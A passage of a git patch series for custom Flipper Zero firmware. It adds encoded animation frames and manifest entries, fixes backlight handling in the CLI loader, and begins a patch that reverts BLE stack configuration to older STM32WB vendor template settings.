zCPEr%o3w2yU#o}e^Ra5}Yu*9R)80k$RC)@rCx>x=4`7iR>A4gFFXqJnKzhGC?2XA&6kQZ#6Bep&_*LGL_|Ab`h_k-#pH_yRA(-RFAmX}_Yk3wtRN z*pry?I-?nOs}JsJ*Rw@v$|8+(1l+$4)}HgI9U@*@8ufF>7KGl-W6nL0Vgr%)LSyT# z5TQ7LWV-m?rd_2rM{BwlBg`#dD3+&VEx4Z8mIQhguU9Z8BEVLz(1MHv8bHkbN;`M< z=|MOW_$Ea5WG`v!iQWMugl*lx)?myXLg9Um#I_1h(IU`Z)?fyn75XapZJ=iW(ft;Y zF8!B>b1FymmaLOL#%f?6~k z#VYf+JqeWX1mk}KXZcpuH@~R1ziVM?TDRW64L@7J8(%I0?frXg3o~N-Eg%{Vd?F$^ z60iQ(vC)<4nS+Siw*uV%I8yVGXU*dRZT+^9*F#pL<5z8r0GsbC~YBR-Bbk>A%8}k zUbWU*l4JSz>kcHpKd_pF zMgS?+D$15Y;NiSjfW|5kx-&ai)3gAGlLBx!CIO(PtZma@ZtAo;T79%FT^pSz@gv3n z8ts|3LAPlcs>7d!`MD^(F0Z$9oH8oBv+ubp05pNoyExM9)&{lb=a#O8+FJXxGTy#R zR_~oLxN5BxWvX@_*j1ooi7c7d3ZOaR=kU(kkPAqBaHX;+84`}3_Hzqi5eBmh(6;G* zuYS)hM8Tr*ngu}a(t4eC+#+aQ0nmJ{Cq6g{N#jS((XgCL5;|>ux{rYtsYQ`JZ-cZy zBHZuKx=%Wh7G>iTFZCmXz==pf-zV@~Lz~yk1Ww|cli#jqRZ`6om|OtQ?9t=BY#l!? z?eEODC!b!|;}Vb%m@ELw;-PFGYD4#tAnnetCZAs4Y7LMOxLkne2DPjps<*RntgzH; zR0uK%d;>maD`4$UtCvCG;YkFvYKB8X~7&lj>;_Uq6CM#(G>t~ zX_hq$XlZ9TZ!#Zq5ZKG&p@0yTY4vtsb^q@rgFq*{2!OSZ83YE!8VI^Ffo&iC@@;gi z7fAN%X!X&y7HqDr!Qa9a1U4k;vX~t$AoOMqH7Q50qqTht5rxKN0kn1PS~k$*FRhv_ z^-H=IYU}mk)M7-7jWP&S(8gj1YhV%d{4hj7dqj<-9K*}PQ4rYnwZP9>hacC@V`-1d zC8#yrLDRj^b%gG>fzpQ{J##toN|~2y?NEF4O4=HvMx6Lkp1)Uctq0HsL@MJGk0ys6 z=h`iq;L)J--EwpvJHhX*)_fiOL^SP}EFvW{fe)fhK1aH@w=#h<12f(x>O`!@P$rNc z*RpojwSqG;b%`JMhao61`UqF2&4s2 zpq3z#)>H0M)1rn{!)kwh<0N$iRSky=>m*IRgnDa*uydZair$|PAQA1Bu_3t hyU8qzH~FQM@(1XRBm-|Kx+MSr002ovPDHLkV1hx8*|-1z literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_7.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_7.png new file mode 100644 index 0000000000000000000000000000000000000000..cf09a7842a0a864332ebd0f10693e05fe46a883e GIT binary patch literal 988 zcmV<210(#2P)DC>(*OwvWB(yk zd-dLXE7J1ybOnlMImW^3^?I@%p@B|zwSGQY`>9k#g6kOlyJ9~d@XKn}SzOP7PpoF4 z5uhg4DwC~5U~>L>fWayjx-&a?)A9hxDFa9j8v+Kyjg63iA7|hr4$M!b;quhu5k8K< zXbqU(@FNYp)TdVCz~Pijv*Pjq1&?LMOM{FDkIT!2$=>_al%m`sXYy<1qxBAJ$95>;b5YTHF-;E(t!57_{6MUr+nw9#t*%xKhO8fwkoK z7(t1^N$wbYjOSj~v8!`0)PLkYF)_ zX%9dx0aMSYlIVig%r!_8q0)eOMWU4z7Ou`R0+Rt~4W?!sRK?Wn#MiV4FX~#7s5~2w zP`!g0Bfyjhbg-HMv}X54+}M@~G_vC0d*Hl)$pARf2GhATT%JppM4UBGMm%c-u*|^a z0jSr$R66x)7tSDDVNC!^`RJs7i93&Uu%s+1dR|ln6Ai zL;Rl=gCzo!fy01nC6E(k9#Ll%k(O0KZ<(jU$I6&q2g747L}+47O4CH4RXlp`>s>^N zYAh}hh|gg@*@#Qo!eoiSc%jYj?+XS zcWy_ZAxCKwhsgurcmCR1KR(`tG4NxbLiE9J&G^$We9UdMxM~B&9biL;?A8_!^}~?1 zm(rhsGVIaj^iKg91|NntOlkx8birwLxNUck)CN!_Hh?UyALD)-Sj46bAUS0K330s( zh)$$Mo|zrO=?x$|=?ws`{b!=~0|2Czvgo8W0BWCMMsJYT03g^1vKT_|J+}d9yPPwG zh13Snn!d{^x)G!|fYxkA5EXVqNaRLy;Mkv`56S}|tiN!I!qM7$oXgPY;*Z}Dkip$~ z$uJoz1SF^ab!>9X|2R_GJ{2`B!=!i%0n(yJwzOUM3sS$*lK2KMvcx%HG}t5n0000< KMNUMnLSTaZZ_|kY literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_8.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_8.png new file mode 100644 index 0000000000000000000000000000000000000000..d12fa6abaeb935d184c0a5f82713bebc827f1ef0 GIT binary patch literal 1201 zcmV;i1Wx;jP)0c@!;u7dIFbMlM-t%SNCGUtbzSAUF7-2NgX|eQ)DMFsz#_a} zFZDCJFN3Gqcy`FfLK0vDYLME1UDx#!u=?3*XU%erKrCM6kV26606pwZ__&P#){>WG z*oUoKKou}rfZKasfKea4ejt&h-9vs@;taJ%{d?mxezVv@fT(ko1Pl>+Ap7dezh5E2{L4>^~3sPi9ab6k!=LaG{DFbEx|rq zYJ)hI5MXBTDa_e?5(-{4O?^o zi5c0Z=K)S!2~Y(vA~@xJ?|9j|Zef@JUeMUUMypv-1$-w-+Gn$}1?#<(_Y$$yCyQYb z7@gH#36`mmd*fREBz|Md7Eod3yB?8B$z$Rb7!rYz+0W$M@^ib)u`}MQvT66wGikOF zF{X(;G(IC1EnDYiW}M|duj>j_!o&j?YcLH?AKe_Mzp}TG*Hgw z_Qf2{%6m60{SpPg<&^?qAdgC&_S{M?6>=wZOfWd3u+A!iW;iFpwjuu#E zq%ax~F=Q&0_>WtE7Jf=FECD7zYu7wmOE|6=CxWl}zX0?FFkg&SWs?~SvbR<CrK?Ynni`d_gu^prt6bW;+_E2i+o&nN=%9;3!Vnc22>vN?^-m zln${uaugY49?MpMp8<#*pII%Kej~p1kfbFt$}X5TT06Ond-aT2+F;oVU2)Q_iP>v6Ee?%<0D2(Ke%!=h>i&9$VGZY^>`nZe0OZ!V{XT zkn)ankplPr*7`>6wXCUL9~FcjO@N+M&`QPHHl9ec#+CL`@oPS!F(WBo&$f1}2xNgC zs!R3ezW)oytpF=>ey^`5lj1l6oRAit0=CL1w}=QHmjy_iKKs36<53a#SOU~4v6Ci`U9^outr}&$F_Mdo1 zhyZs5BZ;sMGyzTszzIHl8>l*fc4~DuyfcH;4;+pbffi06;WxnD0zUPN{#3tr!z4g{ ziQkXV7Qp_5sp4(|c<-TwBS}G&eN9sv-5F`PDa9tOB zEj_2s|G?;nTNYpt9%%Q*s}xXLDpAZq|U>`vHti~w55OERp( z(j}k@7|y}%Gt0q}joyApB8z(_^+OY9QhCX~)jra16iW!;?OY`RLWCYryVm#iz7)AQ z(Wi+tZQZ8Y0O^O;Zw;XY7@4V&(Ll1x%~(y4Np(3pXrDCkM}?wP*Ml$(FcP9E(7~lP z@FRo(Go4@IVR#Y&$Mhv2!ui!Mq6@rzK!jWUlmw!c)uZ<{J5m`>Up<&gfGFp;_7Pox z_NBE|BMi5;*5~afg`_F0dTra1O-^`neeJblRmeOm$myEh6!Lf4Rx$Ho8?u&Pm-h^o3>lfK1=yb5oCw_y&Q@m7|NdnS#EtLqVC zoXC^fN5rC5R~nCnCA)wgf#-F+mT{BT$(~$-bo?ucKJLEN2DNKNwh=9`{GC8_3#jP; zZJ?Z(q)UkQDP{7|{#kvIo=ICmt6ik88iqt5x&(0IO%sEN5Jbdf!bZ0U^s zh@lbhWIXm-_)d<{1Q@;M?pbv;;TX}52Ve7l0n!hE{4iRUjqXsS`dUQeb~TddqwUb8 zbav!?9RYfo?rnp+#|cEOFH#-O(bbkD4v}_x&@BRyS*3|OE)R}~z)|e9^z4AJOknF& z&-Q8t(#bf&BEU}rM()3s@y>oL7cf#^vrE@uy1PKiaOG$ixAGaYv_V(|(1epFmeBH} z5yZPKM6!v95Tx}q=TrM!8>7)KLi#qY)qyme53n zly#&lDRApMXIm;Se(TtHR0JMNfSP685z;n~ zmYH#a`U(*^3%fe}No=P9W+R=h%lZ${4q*;)i@KuBnn$+v<44Y0#( zkHqQvLM6aSKg>6bHT;br^cALxxBaLmE(sz5yw1~Jw0MFD+PnFQ|6rGZSwC9)PakiY cS*H=^9}&0!q9c2@qyPW_07*qoM6N<$g2|^eT>t<8 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/meta.txt b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/meta.txt new file mode 100644 index 0000000000..0378846c4d --- /dev/null +++ b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/meta.txt @@ -0,0 +1,23 @@ +Filetype: Flipper Animation +Version: 1 + +Width: 128 +Height: 64 +Passive frames: 21 +Active frames: 44 +Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 17 19 20 21 22 23 24 24 25 26 27 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 +Active cycles: 1 +Frame rate: 2 +Duration: 3600 +Active cooldown: 7 + +Bubble slots: 1 + +Slot: 0 +X: 7 +Y: 46 +Text: GOOD JOB! +AlignH: Center +AlignV: Top +StartFrame: 54 +EndFrame: 57 \ No newline at end of file diff --git a/assets/dolphin/external/manifest.txt b/assets/dolphin/external/manifest.txt index 4d4445030a..1d3f351068 100644 --- a/assets/dolphin/external/manifest.txt +++ b/assets/dolphin/external/manifest.txt @@ -168,3 +168,10 @@ Max butthurt: 13 Min level: 1 Max level: 3 Weight: 4 + +Name: L2_Coding_in_the_shell_128x64 +Min butthurt: 0 +Max butthurt: 12 +Min level: 2 +Max level: 3 +Weight: 4 From 5031540a8f8e4b5cce854a2a6e0dcebab999f0e8 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 25 Sep 2023 16:53:46 +0300 Subject: [PATCH 31/40] sync anims --- .ci_files/anims_ofw.txt | 7 +++++++ assets/dolphin/external/manifest.txt | 1 - 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/.ci_files/anims_ofw.txt b/.ci_files/anims_ofw.txt index 187cc2c029..5bc576779d 100644 --- a/.ci_files/anims_ofw.txt +++ b/.ci_files/anims_ofw.txt @@ -168,3 +168,10 @@ Max butthurt: 13 Min level: 1 Max level: 3 Weight: 4 + +Name: L2_Coding_in_the_shell_128x64 +Min butthurt: 0 +Max butthurt: 12 +Min level: 2 +Max level: 3 +Weight: 4 diff --git a/assets/dolphin/external/manifest.txt b/assets/dolphin/external/manifest.txt index de2d461b36..3f698979e5 100644 --- a/assets/dolphin/external/manifest.txt +++ b/assets/dolphin/external/manifest.txt @@ -176,7 +176,6 @@ Min level: 2 Max level: 3 Weight: 4 - Name: L3_Fireplace_128x64 Min butthurt: 0 Max butthurt: 13 From c6d49a5d117689f9d2b252a11c2d55022a0ed180 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 30 Sep 2023 19:47:43 +0100 Subject: [PATCH 32/40] Fix backlight code for backlight on cli app open --nobuild --- applications/services/loader/loader_cli.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/applications/services/loader/loader_cli.c b/applications/services/loader/loader_cli.c index dd6d184785..1b0541f758 100644 --- a/applications/services/loader/loader_cli.c +++ b/applications/services/loader/loader_cli.c @@ -55,7 +55,8 @@ static void loader_cli_open(FuriString* args, Loader* loader) { const char* app_name_str = furi_string_get_cstr(app_name); NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION); - notification_message_block(notifications, &sequence_display_backlight_on); + notification_message(notifications, &sequence_display_backlight_on); + furi_record_close(RECORD_NOTIFICATION); FuriString* error_message = furi_string_alloc(); if(loader_start(loader, app_name_str, args_str, error_message) != LoaderStatusOk) { From f8e9f8ffdd8645d1b4d153f6fda37ecd7b01a62c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 30 Sep 2023 20:11:31 +0100 Subject: [PATCH 33/40] Add hardfault fix revert patch (for ios hid) --nobuild --- revert_hardfault_fix_for_ios_hid.patch | 4889 ++++++++++++++++++++++++ 1 file changed, 4889 insertions(+) create mode 100644 revert_hardfault_fix_for_ios_hid.patch diff --git a/revert_hardfault_fix_for_ios_hid.patch b/revert_hardfault_fix_for_ios_hid.patch new file mode 100644 index 0000000000..6b904fc584 --- /dev/null +++ b/revert_hardfault_fix_for_ios_hid.patch @@ -0,0 +1,4889 @@ +diff --git a/SConstruct b/SConstruct +index 698ea85ec..8d389b70b 100644 +--- a/SConstruct ++++ b/SConstruct +@@ -77,8 +77,6 @@ if GetOption("fullenv") or any( + "${COPRO_DISCLAIMER}", + "--obdata", + '"${ROOT_DIR.abspath}/${COPRO_OB_DATA}"', +- "--stackversion", +- "${COPRO_CUBE_VERSION}", + ] + dist_resource_arguments = [ + "-r", +diff --git a/applications/services/bt/bt_service/bt.c b/applications/services/bt/bt_service/bt.c +index 31fa54161..d75a88888 100644 +--- a/applications/services/bt/bt_service/bt.c ++++ b/applications/services/bt/bt_service/bt.c +@@ -1,7 +1,7 @@ + #include "bt_i.h" ++#include "battery_service.h" + #include "bt_keys_storage.h" + +-#include + #include + #include + #include +diff --git a/fbt_options.py b/fbt_options.py +index 3f44bec3b..18b636822 100644 +--- a/fbt_options.py ++++ b/fbt_options.py +@@ -25,7 +25,7 @@ DIST_SUFFIX = f"XFW-DEV_@{subprocess.check_output(['git', 'rev-parse', '--short= + COPRO_OB_DATA = "scripts/ob.data" + + # Must match lib/stm32wb_copro version +-COPRO_CUBE_VERSION = "1.17.2" ++COPRO_CUBE_VERSION = "1.15.0" + + COPRO_CUBE_DIR = "lib/stm32wb_copro" + +diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv +index 338697ad7..30b63ca3a 100644 +--- a/firmware/targets/f18/api_symbols.csv ++++ b/firmware/targets/f18/api_symbols.csv +@@ -1025,10 +1025,8 @@ Function,+,furi_hal_clock_mco_disable,void, + Function,+,furi_hal_clock_mco_enable,void,"FuriHalClockMcoSourceId, FuriHalClockMcoDivisorId" + Function,-,furi_hal_clock_resume_tick,void, + Function,-,furi_hal_clock_suspend_tick,void, +-Function,-,furi_hal_clock_switch_hse2hsi,void, +-Function,-,furi_hal_clock_switch_hse2pll,_Bool, +-Function,-,furi_hal_clock_switch_hsi2hse,void, +-Function,-,furi_hal_clock_switch_pll2hse,_Bool, ++Function,-,furi_hal_clock_switch_to_hsi,void, ++Function,-,furi_hal_clock_switch_to_pll,void, + Function,+,furi_hal_console_disable,void, + Function,+,furi_hal_console_enable,void, + Function,+,furi_hal_console_init,void, +diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv +index 32646daef..01095b832 100644 +--- a/firmware/targets/f7/api_symbols.csv ++++ b/firmware/targets/f7/api_symbols.csv +@@ -1162,10 +1162,8 @@ Function,+,furi_hal_clock_mco_disable,void, + Function,+,furi_hal_clock_mco_enable,void,"FuriHalClockMcoSourceId, FuriHalClockMcoDivisorId" + Function,-,furi_hal_clock_resume_tick,void, + Function,-,furi_hal_clock_suspend_tick,void, +-Function,-,furi_hal_clock_switch_hse2hsi,void, +-Function,-,furi_hal_clock_switch_hse2pll,_Bool, +-Function,-,furi_hal_clock_switch_hsi2hse,void, +-Function,-,furi_hal_clock_switch_pll2hse,_Bool, ++Function,-,furi_hal_clock_switch_to_hsi,void, ++Function,-,furi_hal_clock_switch_to_pll,void, + Function,+,furi_hal_console_disable,void, + Function,+,furi_hal_console_enable,void, + Function,+,furi_hal_console_init,void, +diff --git a/firmware/targets/f7/ble_glue/app_common.h b/firmware/targets/f7/ble_glue/app_common.h +index e969636d2..8eaf23085 100644 +--- a/firmware/targets/f7/ble_glue/app_common.h ++++ b/firmware/targets/f7/ble_glue/app_common.h +@@ -1,4 +1,30 @@ +-#pragma once ++/* USER CODE BEGIN Header */ ++/** ++ ****************************************************************************** ++ * File Name : app_common.h ++ * Description : App Common application configuration file for STM32WPAN Middleware. ++ * ++ ****************************************************************************** ++ * @attention ++ * ++ *

© Copyright (c) 2020 STMicroelectronics. ++ * All rights reserved.

++ * ++ * This software component is licensed by ST under Ultimate Liberty license ++ * SLA0044, the "License"; You may not use this file except in compliance with ++ * the License. You may obtain a copy of the License at: ++ * www.st.com/SLA0044 ++ * ++ ****************************************************************************** ++ */ ++/* USER CODE END Header */ ++/* Define to prevent recursive inclusion -------------------------------------*/ ++#ifndef APP_COMMON_H ++#define APP_COMMON_H ++ ++#ifdef __cplusplus ++extern "C" { ++#endif + + #include + #include +@@ -10,3 +36,5 @@ + #include + + #include "app_conf.h" ++ ++#endif +diff --git a/firmware/targets/f7/ble_glue/app_conf.h b/firmware/targets/f7/ble_glue/app_conf.h +index 25fa688c7..ee5115cfe 100644 +--- a/firmware/targets/f7/ble_glue/app_conf.h ++++ b/firmware/targets/f7/ble_glue/app_conf.h +@@ -1,32 +1,80 @@ + #pragma once + +-#include ++#include "hw_conf.h" ++#include "hw_if.h" ++ ++#include ++#include + + #define CFG_TX_POWER (0x19) /* +0dBm */ + + #define CFG_IDENTITY_ADDRESS GAP_PUBLIC_ADDR + ++/** ++ * Define Advertising parameters ++ */ ++#define CFG_ADV_BD_ADDRESS (0x7257acd87a6c) ++#define CFG_FAST_CONN_ADV_INTERVAL_MIN (0x80) /**< 80ms */ ++#define CFG_FAST_CONN_ADV_INTERVAL_MAX (0xa0) /**< 100ms */ ++#define CFG_LP_CONN_ADV_INTERVAL_MIN (0x640) /**< 1s */ ++#define CFG_LP_CONN_ADV_INTERVAL_MAX (0xfa0) /**< 2.5s */ ++ + /** + * Define IO Authentication + */ +-#define CFG_USED_FIXED_PIN USE_FIXED_PIN_FOR_PAIRING_FORBIDDEN ++#define CFG_BONDING_MODE (1) ++#define CFG_FIXED_PIN (111111) ++#define CFG_USED_FIXED_PIN (1) + #define CFG_ENCRYPTION_KEY_SIZE_MAX (16) + #define CFG_ENCRYPTION_KEY_SIZE_MIN (8) + + /** + * Define IO capabilities + */ +-#define CFG_IO_CAPABILITY IO_CAP_DISPLAY_YES_NO ++#define CFG_IO_CAPABILITY_DISPLAY_ONLY (0x00) ++#define CFG_IO_CAPABILITY_DISPLAY_YES_NO (0x01) ++#define CFG_IO_CAPABILITY_KEYBOARD_ONLY (0x02) ++#define CFG_IO_CAPABILITY_NO_INPUT_NO_OUTPUT (0x03) ++#define CFG_IO_CAPABILITY_KEYBOARD_DISPLAY (0x04) ++ ++#define CFG_IO_CAPABILITY CFG_IO_CAPABILITY_DISPLAY_YES_NO + + /** + * Define MITM modes + */ +-#define CFG_MITM_PROTECTION MITM_PROTECTION_REQUIRED ++#define CFG_MITM_PROTECTION_NOT_REQUIRED (0x00) ++#define CFG_MITM_PROTECTION_REQUIRED (0x01) ++ ++#define CFG_MITM_PROTECTION CFG_MITM_PROTECTION_REQUIRED + + /** + * Define Secure Connections Support + */ +-#define CFG_SC_SUPPORT SC_PAIRING_OPTIONAL ++#define CFG_SECURE_NOT_SUPPORTED (0x00) ++#define CFG_SECURE_OPTIONAL (0x01) ++#define CFG_SECURE_MANDATORY (0x02) ++ ++#define CFG_SC_SUPPORT CFG_SECURE_OPTIONAL ++ ++/** ++ * Define Keypress Notification Support ++ */ ++#define CFG_KEYPRESS_NOT_SUPPORTED (0x00) ++#define CFG_KEYPRESS_SUPPORTED (0x01) ++ ++#define CFG_KEYPRESS_NOTIFICATION_SUPPORT CFG_KEYPRESS_NOT_SUPPORTED ++ ++/** ++ * Numeric Comparison Answers ++ */ ++#define YES (0x01) ++#define NO (0x00) ++ ++/** ++ * Device name configuration for Generic Access Service ++ */ ++#define CFG_GAP_DEVICE_NAME "TEMPLATE" ++#define CFG_GAP_DEVICE_NAME_LENGTH (8) + + /** + * Define PHY +@@ -39,6 +87,42 @@ + #define RX_1M 0x01 + #define RX_2M 0x02 + ++/** ++* Identity root key used to derive LTK and CSRK ++*/ ++#define CFG_BLE_IRK \ ++ { \ ++ 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, \ ++ 0xf0 \ ++ } ++ ++/** ++* Encryption root key used to derive LTK and CSRK ++*/ ++#define CFG_BLE_ERK \ ++ { \ ++ 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, 0x21, 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, \ ++ 0x21 \ ++ } ++ ++/* USER CODE BEGIN Generic_Parameters */ ++/** ++ * SMPS supply ++ * SMPS not used when Set to 0 ++ * SMPS used when Set to 1 ++ */ ++#define CFG_USE_SMPS 1 ++/* USER CODE END Generic_Parameters */ ++ ++/**< specific parameters */ ++/*****************************************************/ ++ ++/** ++* AD Element - Group B Feature ++*/ ++/* LSB - Second Byte */ ++#define CFG_FEATURE_OTA_REBOOT (0x20) ++ + /****************************************************************************** + * BLE Stack + ******************************************************************************/ +@@ -119,9 +203,7 @@ + * 1 : external high speed crystal HSE/32/32 + * 0 : external low speed crystal ( no calibration ) + */ +-#define CFG_BLE_LSE_SOURCE \ +- SHCI_C2_BLE_INIT_CFG_BLE_LS_CLK_LSE | SHCI_C2_BLE_INIT_CFG_BLE_LS_OTHER_DEV | \ +- SHCI_C2_BLE_INIT_CFG_BLE_LS_CALIB ++#define CFG_BLE_LSE_SOURCE 0 + + /** + * Start up time of the high speed (16 or 32 MHz) crystal oscillator in units of 625/256 us (~2.44 us) +@@ -171,8 +253,8 @@ + */ + #define CFG_BLE_OPTIONS \ + (SHCI_C2_BLE_INIT_OPTIONS_LL_HOST | SHCI_C2_BLE_INIT_OPTIONS_WITH_SVC_CHANGE_DESC | \ +- SHCI_C2_BLE_INIT_OPTIONS_DEVICE_NAME_RO | SHCI_C2_BLE_INIT_OPTIONS_EXT_ADV | \ +- SHCI_C2_BLE_INIT_OPTIONS_CS_ALGO2 | SHCI_C2_BLE_INIT_OPTIONS_POWER_CLASS_2_3) ++ SHCI_C2_BLE_INIT_OPTIONS_DEVICE_NAME_RW | SHCI_C2_BLE_INIT_OPTIONS_NO_EXT_ADV | \ ++ SHCI_C2_BLE_INIT_OPTIONS_NO_CS_ALGO2 | SHCI_C2_BLE_INIT_OPTIONS_POWER_CLASS_2_3) + + /** + * Queue length of BLE Event +@@ -200,3 +282,187 @@ + 255 /**< Set to 255 with the memory manager and the mailbox */ + + #define TL_BLE_EVENT_FRAME_SIZE (TL_EVT_HDR_SIZE + CFG_TLBLE_MOST_EVENT_PAYLOAD_SIZE) ++/****************************************************************************** ++ * UART interfaces ++ ******************************************************************************/ ++ ++/** ++ * Select UART interfaces ++ */ ++#define CFG_DEBUG_TRACE_UART hw_uart1 ++#define CFG_CONSOLE_MENU 0 ++ ++/****************************************************************************** ++ * Low Power ++ ******************************************************************************/ ++/** ++ * When set to 1, the low power mode is enable ++ * When set to 0, the device stays in RUN mode ++ */ ++#define CFG_LPM_SUPPORTED 1 ++ ++/****************************************************************************** ++ * Timer Server ++ ******************************************************************************/ ++/** ++ * CFG_RTC_WUCKSEL_DIVIDER: This sets the RTCCLK divider to the wakeup timer. ++ * The lower is the value, the better is the power consumption and the accuracy of the timerserver ++ * The higher is the value, the finest is the granularity ++ * ++ * CFG_RTC_ASYNCH_PRESCALER: This sets the asynchronous prescaler of the RTC. It should as high as possible ( to ouput ++ * clock as low as possible) but the output clock should be equal or higher frequency compare to the clock feeding ++ * the wakeup timer. A lower clock speed would impact the accuracy of the timer server. ++ * ++ * CFG_RTC_SYNCH_PRESCALER: This sets the synchronous prescaler of the RTC. ++ * When the 1Hz calendar clock is required, it shall be sets according to other settings ++ * When the 1Hz calendar clock is not needed, CFG_RTC_SYNCH_PRESCALER should be set to 0x7FFF (MAX VALUE) ++ * ++ * CFG_RTCCLK_DIVIDER_CONF: ++ * Shall be set to either 0,2,4,8,16 ++ * When set to either 2,4,8,16, the 1Hhz calendar is supported ++ * When set to 0, the user sets its own configuration ++ * ++ * The following settings are computed with LSI as input to the RTC ++ */ ++#define CFG_RTCCLK_DIVIDER_CONF 0 ++ ++#if(CFG_RTCCLK_DIVIDER_CONF == 0) ++/** ++ * Custom configuration ++ * It does not support 1Hz calendar ++ * It divides the RTC CLK by 16 ++ */ ++#define CFG_RTCCLK_DIV (16) ++#define CFG_RTC_WUCKSEL_DIVIDER (0) ++#define CFG_RTC_ASYNCH_PRESCALER (CFG_RTCCLK_DIV - 1) ++#define CFG_RTC_SYNCH_PRESCALER (0x7FFF) ++ ++#else ++ ++#if(CFG_RTCCLK_DIVIDER_CONF == 2) ++/** ++ * It divides the RTC CLK by 2 ++ */ ++#define CFG_RTC_WUCKSEL_DIVIDER (3) ++#endif ++ ++#if(CFG_RTCCLK_DIVIDER_CONF == 4) ++/** ++ * It divides the RTC CLK by 4 ++ */ ++#define CFG_RTC_WUCKSEL_DIVIDER (2) ++#endif ++ ++#if(CFG_RTCCLK_DIVIDER_CONF == 8) ++/** ++ * It divides the RTC CLK by 8 ++ */ ++#define CFG_RTC_WUCKSEL_DIVIDER (1) ++#endif ++ ++#if(CFG_RTCCLK_DIVIDER_CONF == 16) ++/** ++ * It divides the RTC CLK by 16 ++ */ ++#define CFG_RTC_WUCKSEL_DIVIDER (0) ++#endif ++ ++#define CFG_RTCCLK_DIV CFG_RTCCLK_DIVIDER_CONF ++#define CFG_RTC_ASYNCH_PRESCALER (CFG_RTCCLK_DIV - 1) ++#define CFG_RTC_SYNCH_PRESCALER (DIVR(LSE_VALUE, (CFG_RTC_ASYNCH_PRESCALER + 1)) - 1) ++ ++#endif ++ ++/** tick timer value in us */ ++#define CFG_TS_TICK_VAL DIVR((CFG_RTCCLK_DIV * 1000000), LSE_VALUE) ++ ++typedef enum { ++ CFG_TIM_PROC_ID_ISR, ++ /* USER CODE BEGIN CFG_TimProcID_t */ ++ ++ /* USER CODE END CFG_TimProcID_t */ ++} CFG_TimProcID_t; ++ ++/****************************************************************************** ++ * Debug ++ ******************************************************************************/ ++/** ++ * When set, this resets some hw resources to set the device in the same state than the power up ++ * The FW resets only register that may prevent the FW to run properly ++ * ++ * This shall be set to 0 in a final product ++ * ++ */ ++#define CFG_HW_RESET_BY_FW 0 ++ ++/** ++ * keep debugger enabled while in any low power mode when set to 1 ++ * should be set to 0 in production ++ */ ++#define CFG_DEBUGGER_SUPPORTED 1 ++ ++/** ++ * When set to 1, the traces are enabled in the BLE services ++ */ ++#define CFG_DEBUG_BLE_TRACE 0 ++ ++/** ++ * Enable or Disable traces in application ++ */ ++#define CFG_DEBUG_APP_TRACE 0 ++ ++#if(CFG_DEBUG_APP_TRACE != 0) ++#define APP_DBG_MSG PRINT_MESG_DBG ++#else ++#define APP_DBG_MSG PRINT_NO_MESG ++#endif ++ ++#if((CFG_DEBUG_BLE_TRACE != 0) || (CFG_DEBUG_APP_TRACE != 0)) ++#define CFG_DEBUG_TRACE 1 ++#endif ++ ++#if(CFG_DEBUG_TRACE != 0) ++#undef CFG_LPM_SUPPORTED ++#undef CFG_DEBUGGER_SUPPORTED ++#define CFG_LPM_SUPPORTED 0 ++#define CFG_DEBUGGER_SUPPORTED 1 ++#endif ++ ++/** ++ * When CFG_DEBUG_TRACE_FULL is set to 1, the trace are output with the API name, the file name and the line number ++ * When CFG_DEBUG_TRACE_LIGHT is set to 1, only the debug message is output ++ * ++ * When both are set to 0, no trace are output ++ * When both are set to 1, CFG_DEBUG_TRACE_FULL is selected ++ */ ++#define CFG_DEBUG_TRACE_LIGHT 0 ++#define CFG_DEBUG_TRACE_FULL 0 ++ ++#if((CFG_DEBUG_TRACE != 0) && (CFG_DEBUG_TRACE_LIGHT == 0) && (CFG_DEBUG_TRACE_FULL == 0)) ++#undef CFG_DEBUG_TRACE_FULL ++#undef CFG_DEBUG_TRACE_LIGHT ++#define CFG_DEBUG_TRACE_FULL 0 ++#define CFG_DEBUG_TRACE_LIGHT 1 ++#endif ++ ++#if(CFG_DEBUG_TRACE == 0) ++#undef CFG_DEBUG_TRACE_FULL ++#undef CFG_DEBUG_TRACE_LIGHT ++#define CFG_DEBUG_TRACE_FULL 0 ++#define CFG_DEBUG_TRACE_LIGHT 0 ++#endif ++ ++/** ++ * When not set, the traces is looping on sending the trace over UART ++ */ ++#define DBG_TRACE_USE_CIRCULAR_QUEUE 0 ++ ++/** ++ * max buffer Size to queue data traces and max data trace allowed. ++ * Only Used if DBG_TRACE_USE_CIRCULAR_QUEUE is defined ++ */ ++#define DBG_TRACE_MSG_QUEUE_SIZE 4096 ++#define MAX_DBG_TRACE_MSG_SIZE 1024 ++ ++#define CFG_OTP_BASE_ADDRESS OTP_AREA_BASE ++#define CFG_OTP_END_ADRESS OTP_AREA_END_ADDR +diff --git a/firmware/targets/f7/ble_glue/app_debug.c b/firmware/targets/f7/ble_glue/app_debug.c +index fe76687b9..b443bee21 100644 +--- a/firmware/targets/f7/ble_glue/app_debug.c ++++ b/firmware/targets/f7/ble_glue/app_debug.c +@@ -6,9 +6,6 @@ + #include + #include + +-#include 